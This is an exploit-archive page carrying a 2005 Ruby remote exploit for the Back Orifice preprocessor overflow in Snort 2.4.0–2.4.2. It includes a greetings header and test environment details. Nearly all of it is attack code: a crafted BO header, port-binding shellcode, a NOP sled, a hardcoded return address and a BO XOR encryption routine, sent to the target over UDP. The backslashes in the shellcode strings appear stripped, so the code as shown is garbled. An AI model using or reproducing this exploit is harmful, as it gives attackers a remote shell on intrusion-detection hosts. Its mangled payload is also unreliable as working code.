[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (4)
# Published : 2005-11-11
# Author : xwings
# Previous Title : Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (3)
# Next Title : linux-ftpd-ssl 0.17 (MKD/CWD) Remote Root Exploit
#!/usr/bin/ruby -w
#
#
# Version 0.1 (Public)
#
# snort 2.4.0 - 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit
#
# by xwings at mysec dot org
# URL : http://www.mysec.org , somebody need to update the page
#
# Saying Hi to ....
#
# . All the 1337 c0d3r @ pulltheplug.org
# . Gurus from #rubylang @ freenode.net
# . Skywizard @ somewhere right now
# . HITBSecConf CREW and Team Panda
#
# 03:07 <@mark> hey xwings
# 03:07 <@mark> why don't you come up and see me sometime?
#
# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 3.3.5 (Debian 1:3.3.5-13)
# Snort 2.4.2 , ./configure && make && make install
#
# Use Ruby : http://www.ruby-lang.org
#
#
#
require 'socket'
fathost = ARGV[0]
packetsize = 1069 # ret is 1069
targetport = 9080
boheader = "*!*QWTY?" +
[1096].pack("V") + # Length ,thanx Russell Sanford
"xedxacxefx0d"+ # ID
"x01" # PING
## Port Bind 3964 . connectback, refer to Russell Sanford's code
shellcode = "x31xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xe8"+
"x8ex30x01x83xebxfcxe2xf4xd9x55x63x42xbbxe4x32x6b"+
"x8exd6xa9x88x09x43xb0x97xabxdcx56x69xe7xf2x56x52"+
"x61x6fx5ax67xb0xdex61x57x61x6fxfdx81x58xe8xe1xe2"+
"x25x0ex62x53xbexcdxb9xe0x58xe8xfdx81x7bxe4x32x58"+
"x58xb1xfdx81xa1xf7xc9xb1xe3xdcx58x2exc7xfdx58x69"+
"xc7xecx59x6fx61x6dx62x52x61x6fxfdx81"
filler = "x90" * (packetsize-(boheader.length + shellcode.length))
retadd = [0xbffff370].pack('L')
darthcode = (shellcode+filler+retadd)
def msrand(seed)
@holdrand = 31337
end
def mrand()
return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
end
def bocrypt(takepayload)
@arrpayload = (takepayload.split(//))
encpayload ="".to_s
@holdrand=0
msrand(0)
@arrpayload.each do |c|
encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
end
return encpayload
end
UDPSocket.open.send(bocrypt(boheader+darthcode), 0, fathost, targetport)
# www.Syue.com [2005-11-11]